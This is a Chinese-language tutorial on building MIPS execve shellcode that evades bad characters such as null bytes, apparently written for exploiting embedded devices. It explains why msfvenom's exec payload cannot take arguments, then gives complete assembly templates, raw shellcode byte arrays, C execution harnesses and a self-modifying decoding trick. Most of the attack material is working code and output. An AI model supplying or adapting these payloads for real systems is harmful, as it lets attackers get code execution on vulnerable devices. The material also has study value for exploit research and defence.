Bad Char 绕过实战:稳定 MIPS Shellcode 的设计方法
引言
在漏洞验证过程中,Shellcode 作为实现任意代码执行的核心载荷,其字节序列必须能够完整、无损地注入目标进程并被成功执行。然而,现实环境中目标程序对外部输入的处理往往伴随着各种限制条件:例如,strcpy、sprintf 等 C 标准库函数会将 空字节(\x00)视为字符串结束符,一旦在输入中出现,后续数据便会被直接截断;此外,部分协议解析逻辑、输入校验机制或安全防护措施,还可能对特定“危险字符”进行过滤、转义或拒绝处理。若 Shellcode 中包含这些受限字节,极易导致载荷被截断、破坏甚至完全失效,从而使利用过程功亏一篑。
这一问题不仅存在于传统的栈溢出型 Shellcode 注入场景中,在现代利用技术(如 ROP,Return-Oriented Programming)下同样尤为突出。一方面,许多可用 gadget 的地址本身就可能包含 \x00 或其他坏字节,在通过 strcpy、sprintf 等以空字节为终止符的函数写入时,地址无法被完整拷贝,直接导致 ROP 链构造失败;另一方面,为规避这些坏字节,攻击者往往需要引入额外的 gadget,通过逐字节写入、地址拼接或运行时计算等方式间接构造目标地址或参数。这类方案不仅显著增加了 ROP 链的长度和复杂度,也大幅提升了 gadget 搜索、链条设计与调试的时间成本。
因此,准确识别目标环境中的坏字节,并针对性地制定规避策略,是编写稳定、可靠 Shellcode 乃至构造高成功率利用链的关键前提。下文将围绕 msfvenom 在坏字节处理方面的局限性,系统分析其常见缺陷、实际影响,并结合实战场景介绍有效的绕过思路与技巧。
一、MIPS 寄存器及常用指令描述
| 类别 | 名称/助记符 | 作用描述 | 技术细节/约定 |
| 寄存器 | $zero(0) |
为 0 | 无法被修改,常用于清零操作或简单的数值拷贝。 |
| 寄存器 | $v0 - $v1(2-3) |
结果与调用号 | $v0 用于存储系统调用号(syscall)或函数的第一个返回值。 |
| 寄存器 | $a0 - $a3(4-7) |
参数传递 | 调用函数时,前四个参数依次存放在这里。 |
| 寄存器 | $t0 - $t9(8-15, 24-25) |
临时寄存器 | 随用随写,函数调用时不保证这些值会被保留。 |
| 寄存器 | $s0 - $s7(16-23) |
静态寄存器 | 存放长期使用的数据,函数调用前后必须保持原值不变。 |
| 寄存器 | $sp(29) |
栈指针 | 指向当前内存栈的顶部(向低地址增长)。 |
| 寄存器 | $ra(31) |
返回地址 | 保存子程序执行完后应当返回的指令位置。 |
| --- | --- | --- | --- |
| 算术指令 | add / addu |
加法 | add 会检查溢出,addu(无符号)则不检查。 |
| 算术指令 | sub / subu |
减法 | 寄存器减法。MIPS 没有 subi,减常数通常用 addi加负数。 |
| 算术指令 | addi / addiu |
立即数加法 | 将寄存器值与一个 16 位常数相加。 |
| 访存指令 | lw / sw |
加载 / 存储字 | lw: 内存 → 寄存器;sw: 寄存器 → 内存。 |
| 跳转指令 | beq / bne |
条件分支 | 相等(Equal)或不等(Not Equal)则跳转。 |
| 跳转指令 | j / jal |
直接跳转 | j 纯跳转;jal 跳转并链接(将返回地址存入 $ra)。 |
| 跳转指令 | bltzal |
小于零跳转并链接 | li $a2, 1638; bltzal $a2, 0 这里 $a2 是 1638(大于 0),所以 bltzal 的跳转不会发生。 利用这一点获取当前代码地址, 这是经典 MIPS 获取 PC 技巧。 |
| 系统指令 | syscall |
系统调用 | 陷入内核态。根据 $v0 中的值,请求内核执行特定操作(如读写文件、退出程序、执行新程序等)。 |
| 其他 | li |
加载立即数 | 伪指令,用于快速给寄存器赋一个常数值。 |
二、MSFVenom 生成 MIPS 架构 Shellcode 的局限性及带参命令执行实践
2.1. 初步使用MSFVenom生成mips带参数Shellcode
# 下载安装
wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb
sudo dpkg -i metasploit-framework_6.4.89~20250916055710~1rapid7-1_amd64.deb
# 用法
msfvenom -l payloads | grep linux/arm
msfvenom --platform linux --arch armle -p linux/armle/exec CMD=/bin/ls -f c
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD=/bin/ls -f c
No encoder specified, outputting raw payload
Payload size: 52 bytes
Final size of c file: 244 bytes
unsigned char buf[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x2f\x62\x69\x6e\x2f\x6c\x73\x00";
# hex转汇编命令
echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c2f62696e2f6c7300" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump -D -b binary -m mips:isa32 --endian=big mips_code.bin
# msfvenom 生成不含bad的shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of mipsbe/byte_xori
mipsbe/byte_xori succeeded with size 156 (iteration=0)
mipsbe/byte_xori chosen with final size 156
Payload size: 156 bytes
Final size of c file: 684 bytes
unsigned char buf[] =
"\x24\x0e\xff\xc6\x01\xc0\x70\x27\x24\x0b\xff\xac\x05\x10"
"\xff\xff\x28\x08\x87\xd5\x01\x60\x58\x27\x03\xeb\xc8\x21"
"\x03\xeb\x80\x21\x28\x17\xed\x9a\x83\x31\xff\xff\x24\x0d"
"\xff\xfc\x01\xa0\x30\x27\x20\xcf\xff\xfe\x83\x28\xff\xfc"
"\x02\xef\xb8\x21\x39\x03\x4a\x4a\x02\xee\xf0\x2b\xa3\x23"
"\xff\xfc\x17\xc0\xff\xfa\x03\x2f\xc8\x21\x26\x04\xff\xfc"
"\x24\x0a\xff\xcb\x01\x40\x28\x27\x24\x02\x10\x33\x01\x4a"
"\x54\x0c\x4a\x4a\x4a\x4a\x6e\x4c\x4c\x2c\x4e\x9a\xb5\xb5"
"\x62\x4c\xb5\xb5\x6d\xf7\xb5\xaa\x6d\xae\x5a\x4b\x6e\xce"
"\xba\x55\xe5\xee\xb5\xa2\xe5\xea\xb5\xa6\x6d\xef\xb5\xa2"
"\x6e\x48\x45\xe1\x4b\x4b\x4b\x46\x26\x39\x6a\x67\x2b\x26"
"\x4a\x4a";
在嵌入式设备漏洞验证中,MIPS 架构的 Shellcode 常通过 msfvenom 快速生成。然而,msfvenom 在生成 带命令参数的 Shellcode(如执行 cat /etc/passwd、wget ... 等)时存在明显缺陷:
缺乏原生支持:
msfvenom 提供的 linux/mipsle/exec 或 linux/mipsbe/exec 等 payload 虽可执行指定程序,但不支持直接传入多参数命令(如 -c "command")。用户通常需手动构造完整的 argv 数组(包含程序路径、参数、空终止等),而 msfvenom 无法自动生成此类复杂结构。
#include
#include
#include
unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd"
"\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8"
"\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c\x6c\x73\x20\x2d\x61\x6c\x00\x00";
int main() {
void *exec_mem = mmap(NULL, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("Executing shellcode at address: %p\
", exec_mem);
void (*func)() = (void(*)())exec_mem;
func();
munmap(exec_mem, sizeof(shellcode));
return 0;
}
# 生成shellcode
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls" -f c # 能执行
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c #不能执行
# 编译成可执行文件
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o mips_verify_shellcode mips_verify_shellcode.c
# qemu模拟执行
qemu-mips-static mips_verify_shellcode
qemu: uncaught target signal 4 (Illegal instruction) - core dumped
[1] 972786 illegal hardware instruction (core dumped) qemu-mips-static mips_verify_shellcode
执行失败

2.2. 调用号
echo "2406066604d0ffff2806ffff27bdffe027e410012484f01fafa4ffe8afa0ffec27a5ffe824020fab0101010c6c73202d616c0000" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump -D -b binary -m mips:isa32 --endian=big mips_code.bin
mips_code.bin: file format binary
Disassembly of section .data:
00000000 <.data>:
0: 24060666 li a2,1638
4: 04d0ffff bltzal a2,0x4
8: 2806ffff slti a2,zero,-1
c: 27bdffe0 addiu sp,sp,-32
10: 27e41001 addiu a0,ra,4097
14: 2484f01f addiu a0,a0,-4065
18: afa4ffe8 sw a0,-24(sp)
1c: afa0ffec sw zero,-20(sp)
20: 27a5ffe8 addiu a1,sp,-24
24: 24020fab li v0,4011 # 调用号,对应函数execve
28: 0101010c syscall 0x40404
2c: 6c73202d .word 0x6c73202d
30: 616c0000 .word 0x616c0000

先看看 mips 用于命令执行的调用号是多少,4011 对应的就是execve函数。
函数的调用号可在cat /usr/mips-linux-gnu/include/asm/unistd.h下找到
cat /usr/mips-linux-gnu/include/asm/unistd.h
cat /usr/mips-linux-gnu/include/asm/unistd_o32.h

2.3. execve函数
以下将介绍msfvenom 提供的 linux/mipsle/exec 或 linux/mipsbe/exec不支持直接传入参数命令的原因:
先了解execve函数原型:int execve(const char *filename,char *const argv[],char *const envp[]);其中 filename 指定可执行文件路径, argv 为传递给新程序的命令行参数, envp 定义新进程的环境变量。 三个参数均需遵循C字符串规范,且数组必须以NULL指针终结。
- 第一个参数
filename:是要执行的可执行文件路径(如"/bin/sh")。 - 第二个参数
argv[]:是一个以NULL结尾的字符串数组,argv[0]通常也设为可执行文件名(但可任意设置,不影响执行),argv[1]、argv[2]... 是传递给该程序的参数。
因此,在构造 Shellcode 调用 execve("/bin/sh", ["/bin/sh", "-c", "command"], NULL) 时:
$a0→ 指向"/bin/sh"(即filename)$a1→ 指向一个指针数组(即argv),该数组包含:ptr0→"/bin/sh"ptr1→"-c"ptr2→"command"ptr3→NULL$a2→ 通常设为NULL(envp)
通过调试找出MSFVenom 生成 MIPS 架构 Shellcode 能执行不带参数命令但不支持直接传入多参数命令的原因。

qemu-mips-static -g 1234 mips_verify_shellcode
gdb ./mips_verify_shellcode
target remote :1234
b main
c
ni 35
si




通过调试可发现a0的值是/bin/ls /,上面说到const char *filename($a0)是可执行文件的路径,系统找不到/bin/ls /可执行文件,所以导致只能执行不带参数的命令。这里可以猜测开发是为了避免出现\x00坏字节才这样构造的,虽然有缺陷但做漏洞验证还是足够。
三、编写shellcode
msfvenom生成mips架构的shellcode优缺点:
优点:shellcode短
缺陷:只能执行不带参数的任意命令,msfvenom提供的bad方案并不能运行(只测试过mips架构)。
msfvenom --list encoders | grep mips
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
msfvenom --platform linux --arch mipsbe -p linux/mipsbe/exec CMD="ls -al" -f c -bad 00 -e mipsbe/byte_xori

接下来我们要想执行任意命令且能够携带任意参数,我们需要构造成execve(const char *filename, char *const argv [], char *const envp [])格式,为什么用这个格式?
MIPS(或其他架构)shellcode 中,直接构造多参数命令(如 "/bin/ls", "/", NULL)比较麻烦,因为:
- 需要多个字符串
- 需要计算每个字符串的地址(位置无关)
argv数组变长
而通过 execve(const char *filename,char *const argv[],char *const envp[]) 可以把复杂参数打包成一个字符串,只需传递三个固定参数,这样更灵活,尤其适合执行任意命令(如 cat /etc/passwd、wget ... 等)。
3.1. 模板一
$s0地址及之后作为数据区域取址给$a0、$a1与$a2作为命令执行的参数。
$s0 -> $s1 -> 0($sp) -> $a0
$s0, 8 -> $s2 -> 4($sp) -> $a1
$s0, 11 -> $s3 -> 8($sp) -> $a2
ASM_MIPS1 = """
# MIPS execve("/bin/sh", ["/bin/sh", "-c", command], NULL) shellcode
.section .text
.globl __start
.set noreorder
__start:
# --- 第 1 部分:位置无关代码 (PIC) ---
bal find_data
nop # 分支延迟槽, $ra 将指向这里
find_data:
# $ra 现在指向 nop 指令。
# 我们需要计算从 nop 到数据区的偏移。
# 代码部分共 14 条指令 = 56 字节。
addu $s0, $ra, 56 # $s0 = 数据区的基地址
# --- 第 2 部分:在栈上构建参数数组 (argv) ---
move $s1, $s0 # $s1 -> "/bin/sh"
addiu $s2, $s0, 8 # $s2 -> "-c"
addiu $s3, $s0, 11 # $s3 -> your_cmd
# 为 argv 数组在栈上分配空间 (4个指针 = 16字节)
addiu $sp, $sp, -16
sw $s1, 0($sp) # argv[0] = > "/bin/sh"
sw $s2, 4($sp) # argv[1] = > "-c"
sw $s3, 8($sp) # argv[2] = > command
sw $zero, 12($sp) # argv[3] = > NULL
# --- 第 3 部分:执行系统调用 ---
move $a0, $s1 # a0 = path
move $a1, $sp # a1 = argv
move $a2, $zero # a2 = envp
li $v0, 4011 # syscall: execve
syscall
# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""
生成shellcode测试是否能执行命令
shellcode += b"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
shellcode += b"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
shellcode += b"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
shellcode += b"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
shellcode += b"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
#include
#include
#include
unsigned char shellcode[] =
"\x04\x11\x00\x01\x00\x00\x00\x00\x27\xf0\x00\x38\x02\x00\x88\x25\x26\x12\x00\x08"
"\x26\x13\x00\x0b\x27\xbd\xff\xf0\xaf\xb1\x00\x00\xaf\xb2\x00\x04\xaf\xb3\x00\x08"
"\xaf\xa0\x00\x0c\x02\x20\x20\x25\x03\xa0\x28\x25\x00\x00\x30\x25\x24\x02\x0f\xab"
"\x00\x00\x00\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x6c\x73\x20\x2d\x61"
"\x6c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
int main() {
void *exec_mem = mmap(NULL, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("Executing shellcode at address: %p\
", exec_mem);
void (*func)() = (void(*)())exec_mem;
func();
munmap(exec_mem, sizeof(shellcode));
return 0;
}
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-gcc -z execstack -static -g -o mips_verify_shellcode mips_verify_shellcode.c
➜ qemu-mips-static mips_verify_shellcode
drwxr-xr-x 2 root root 4096 Jan 12 17:05 .
drwx------ 17 root root 4096 Jan 12 17:05 ..
-rw-r--r-- 1 root root 1152 Jan 12 17:05 mips_verify_shellcode.c
这种方式简单,能执行带任意参数的命令。但是\x00坏字节特别多,需要自行xor混淆,在此基础上混淆后的shellcode非常长,遇到溢出有限制的也没法直接使用。所以还是在msfvenom基础上改进吧。
可以看到执行echo 0,解码器+ shellcode长度有200字节了,还是非常长的。
3.2. 模板二
# 这是由msfvenom生成
mips_code.bin: file format binary
Disassembly of section .data:
00000000 <.data>:
0: 24060666 li a2,1638
4: 04d0ffff bltzal a2,0x4
8: 2806ffff slti a2,zero,-1
c: 27bdffe0 addiu sp,sp,-32
10: 27e41001 addiu a0,ra,4097
14: 2484f01f addiu a0,a0,-4065
18: afa4ffe8 sw a0,-24(sp)
1c: afa0ffec sw zero,-20(sp)
20: 27a5ffe8 addiu a1,sp,-24
24: 24020fab li v0,4011
28: 0101010c syscall 0x40404
2c: 6c73202d .word 0x6c73202d
30: 616c0000 .word 0x616c0000
# 改进
ASM_MIPS2 = """
.set noreorder
li $a2,1638
bltzal $a2,0
slti $a2,$zero,-1
addiu $sp,$sp,-32
addiu $s3,$ra,4097
addiu $a0,$s3,-4041
addiu $a1,$s3,-4033
addiu $a2,$s3,-4030
# 自修复代码
# ....这里是为了表示后续插入一段指令处理坏字节问题。
# end
sw $a0,-24($sp)
sw $a1,-20($sp)
sw $a2,-16($sp)
sw $zero,-12($sp)
# 将$a0,$a1与$2压入栈中
addiu $a1,$sp,-24 # $a1是argv,指的是char const argv []
addiu $s4,$zero,1111 # 将$a2设置为0,用两行指令实现也是为了避免坏字节
addiu $a2,$s4,-1111
li $v0,4011 # execve调用号
syscall 0x40404
# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""
addiu $sp,$sp,-32
addiu $s3,$ra,4097 # $s3在后续处理坏字节时会有用
addiu $a0,$s3,-4041
addiu $a1,$s3,-4033
addiu $a2,$s3,-4030
该指令的作用并非将 $s3 的值加上 -4041 后“赋值”给 $a0,而是通过地址偏移计算,获取数据区中某字符串(如 "/bin/sh")的内存地址,并将其作为指针存入 $a0。同理,后续还会通过类似操作计算出 "-c" 和 {command} 字符串在内存中的地址。但需要特别注意:execve 的第二个参数 $a1 并非直接指向这些字符串本身,而是应指向一个指针数组(即 argv 数组)的起始地址,该数组在栈(或数据区)中依次存放着指向 "/bin/sh"、"-c"、"{command}" 等字符串的地址,并以一个 NULL 指针结尾。 因此,完整的参数设置逻辑应为:
- $ a0 → "/bin/sh" 字符串的地址(可执行文件路径);
- $ a1 → 栈上某位置的地址,该位置开始连续存储三个(或更多)指针: [ptr_to_"/bin/sh", ptr_to_"-c", ptr_to_"{command}", NULL];
- $ a2 → 通常设为 NULL(表示 envp 为空)。
——核心是“取址”,而非“取值”或“赋值”,混淆此概念将严重影响对 Shellcode 内存布局的理解。
至于为何使用 addiu $s3, $ra, 4097 来初始化 $s3?这是因为 MIPS 的立即数编码若过小(如
+32、+16 等),其机器码低位常包含 \x00(例如 addiu $t0, $zero, 1 编码为 \x24\x48\x00\x01),而 \x00 在多数输入场景下是坏字节,会导致载荷被截断。因此,故意选用一个较大的立即数(如 4097)可避免生成 \x00 字节。
后续的偏移量(如 -4041、-4033、-4030)并非随意选取,而是通过调试计算得出:它们取决于 $s3 的基准地址(由 $ra + 4097 确定)与各字符串在 Shellcode 数据区中的相对位置,同时也受整个 Shellcode 长度影响。调整 Shellcode 内容后,这些偏移通常需要重新校准。
#include
#include
#include
unsigned char shellcode[] =
"\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xf3\x10\x01"
"\x26\x64\xf0\x37\x26\x65\xf0\x3f\x26\x66\xf0\x42\xaf\xa4\xff\xe8\xaf\xa5\xff\xec"
"\xaf\xa6\xff\xf0\xaf\xa0\xff\xf4\x27\xa5\xff\xe8\x24\x14\x04\x57\x26\x86\xfb\xa9"
"\x24\x02\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x69"
"\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
;
int main() {
void *exec_mem = mmap(NULL, sizeof(shellcode),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem == MAP_FAILED) {
perror("mmap");
return 1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("Executing shellcode at address: %p\
", exec_mem);
void (*func)() = (void(*)())exec_mem;
func();
munmap(exec_mem, sizeof(shellcode));
return 0;
}
先测试一下,能执行说明没有问题。


echo "2406066604d0ffff2806ffff27bdffe027f310012664f0372665f03f2666f042afa4ffe8afa5ffecafa6fff0afa0fff427a5ffe8241404572686fba924020fab0101010c2f62696e2f7368002d63006964000000000000000000000000000000" | xxd -r -p > mips_code.bin
/root/tools/mips32--glibc--stable-2024.05-1/bin/mips-buildroot-linux-gnu-objdump -D -b binary -m mips:isa32 --endian=big mips_code.bin
mips_code.bin: file format binary
Disassembly of section .data:
00000000 <.data>:
0: 24060666 li a2,1638
4: 04d0ffff bltzal a2,0x4
8: 2806ffff slti a2,zero,-1
c: 27bdffe0 addiu sp,sp,-32
10: 27f31001 addiu s3,ra,4097
14: 2664f037 addiu a0,s3,-4041
18: 2665f03f addiu a1,s3,-4033
1c: 2666f042 addiu a2,s3,-4030
20: afa4ffe8 sw a0,-24(sp)
24: afa5ffec sw a1,-20(sp)
28: afa6fff0 sw a2,-16(sp)
2c: afa0fff4 sw zero,-12(sp)
30: 27a5ffe8 addiu a1,sp,-24
34: 24140457 li s4,1111
38: 2686fba9 addiu a2,s4,-1111
3c: 24020fab li v0,4011
40: 0101010c syscall 0x40404
44: 2f62696e sltiu v0,k1,26990
48: 2f736800 sltiu s3,k1,26624 # /sh\x00
4c: 2d630069 sltiu v1,t3,105 # -c\x00i
50: 64000000 .word 0x64000000 # d\x00
通过以上汇编指令生成机器码可发现有三处坏字节是无法通过变化指令来避免的,也就是数据区最后的12字节(48,4c,50 ),其中48与4c是固定位置的,偏移量不会改变,而最后四字节需要动态获取。

四、插入自修复指令解决坏字节问题
在模板二的基础上,为解决 bad 字节(坏字符) 问题,需要通过新增指令对原有逻辑进行扩展。其核心思路是利用运行时运算绕过静态字节限制。因此,首先需要掌握的就是最基本的加减运算,其原理直观、实现简单,却在规避坏字节的 Shellcode 中具有极高的实用价值。
ASM_MIPS2 = """
.set noreorder
li $a2,1638
bltzal $a2,0
slti $a2,$zero,-1
addiu $sp,$sp,-32
addiu $s3,$ra,4097
addiu $a0,$s3,-4041
addiu $a1,$s3,-4033
addiu $a2,$s3,-4030
# 自修复代码
# ....这里是为了后续插入一段指令解决坏字节问题
# end
sw $a0,-24($sp)
sw $a1,-20($sp)
sw $a2,-16($sp)
sw $zero,-12($sp)
# 将$a0,$a1与$2压入栈中
addiu $a1,$sp,-24 # $a1是argv,也就是数组,压入栈才能正确解析
addiu $s4,$zero,1111 # 将$a2设置为0,用两行指令实现也是为了避免坏字节
addiu $a2,$s4,-1111
li $v0,4011 # execve调用号
syscall 0x40404
# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""
在如下指令后
0: 24060666 li a2,1638
4: 04d0ffff bltzal a2,0x4
插入 0x33333333 对应的占位指令:
8: 33333333 andi s3, t9, 0x3333
该指令在当前执行上下文中不会触发无效指令异常,同时也不会破坏寄存器状态或影响后续控制流的正常执行,因此可安全地作为填充或运算辅助指令使用。当然,该指令并不局限于放置在当前位置,如根据需求插入到其他位置,只需在后续阶段重新计算相关偏移或地址($t2)即可。
在此基础上,为规避 bad 字节 问题,可将原位于 0x48、0x4c 与 0x50 的目标机器码统一减去 0x33333333,在运行时再通过加法或其他等价运算进行还原,从而实现对受限字节的有效绕过。

【图 4.1】
2F736800 - 0x33333333 = FC4034CD # "/sh\x00"
2D630069 - 0x33333333 = FA2FCD36 # "-c\x00i"
64000000 - 0x33333333 = 30CCCCCD # "d\x00"
将原本位于 0x48、0x4c 与 0x50 的机器码替换为上述计算后的结果,以确保 Shellcode 在注入阶段不包含受限的坏字节。
在此基础上,通过在自修复(self-modifying)代码段中插入相应的汇编指令,于运行时对这些位置执行加法运算,将减去的 0x33333333 重新补回,从而动态还原原始机器码内容。该方式在不引入坏字节的前提下,实现了对关键数据与指令的完整恢复,确保 Shellcode 能够按照预期逻辑正常执行。
ASM_MIPS2 = """
.set noreorder
li $a2,1638
bltzal $a2,0
# 0x33333333是shellcode生成后插入的,假设这里存在0x33333333,在计算偏移时需要+4
slti $a2,$zero,-1
addiu $sp,$sp,-32
addiu $s3,$ra,4097
addiu $a0,$s3,-3997 # 因为插入了一段自修复代码,所以a1,a2与a3需要重新计算偏移。
addiu $a1,$s3,-3989
addiu $a2,$s3,-3986
# 自修复代码
lw $t2,-4101($s3) # -4101($s3)就是取的 0x33333333
lw $t3,-3993($s3) # 取FC4034CD ,地址为0x3fffe074
addu $t3,$t3,$t2 # FC4034CD + 0x33333333 = 2F736800
sw $t3,-3993($s3) # 将计算后的结果放回0x3fffe074处(见【图 4.2】)
lw $t3,-3989($s3) # 取FA2FCD36 ,地址为0x3fffe078
addu $t3,$t3,$t2 # FA2FCD36 + 0x33333333 = 2D630069
sw $t3,-3989($s3) # 将计算后的结果放回0x3fffe078处(见【图 4.2】)
# 此处使用变量 offset 的原因在于:
# 数据区最后4字节非常容易出现\x00坏字节。
# 例如字符串:"echo 000000000"
# 在内存中的表示为:\x65\x63\x68\x6f\x20\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x00\x00
# 其尾部包含多个 \x00,因此需要设置变量动态计算偏移地址。
lw $t3,-{offset}($s3) # 取30CCCCCD 地址为0x3fffe07c
addu $t3,$t3,$t2 # 30CCCCCD + 0x33333333 = 64000000
sw $t3,-{offset}($s3) # 将计算后的结果放回0x3fffe07c处(见【图 4.2】)
# end
sw $a0,-24($sp)
sw $a1,-20($sp)
sw $a2,-16($sp)
sw $zero,-12($sp)
addiu $a1,$sp,-24
addiu $s4,$zero,1111 #将 $a2设置为0
addiu $a2,$s4,-1111
li $v0,4011
syscall 0x40404
# --- 第 4 部分:数据区 ---
.asciiz "/bin/sh"
.asciiz "-c"
.asciiz "{command}"
"""

0x3fffe070 ◂— 0x2f62696e ('/bin') 本身没有坏字节所以不用处理。见上图【图 4.1】
继续往下执行可看到 0x3fffe074,0x3fffe078与0x3fffe07c处的值已经还原了。

【图 4.2】


至此,数据已在运行时被完整还原,Shellcode 能够按照预期逻辑稳定执行,shellcode缩短至128 字节;如下图所示,即使在传入额外参数的情况下,载荷未引入 \x00 坏字节,整体执行过程保持正常。


该方案可用脚本实现,但还是有些小问题需优化,待完善后再放在评论区。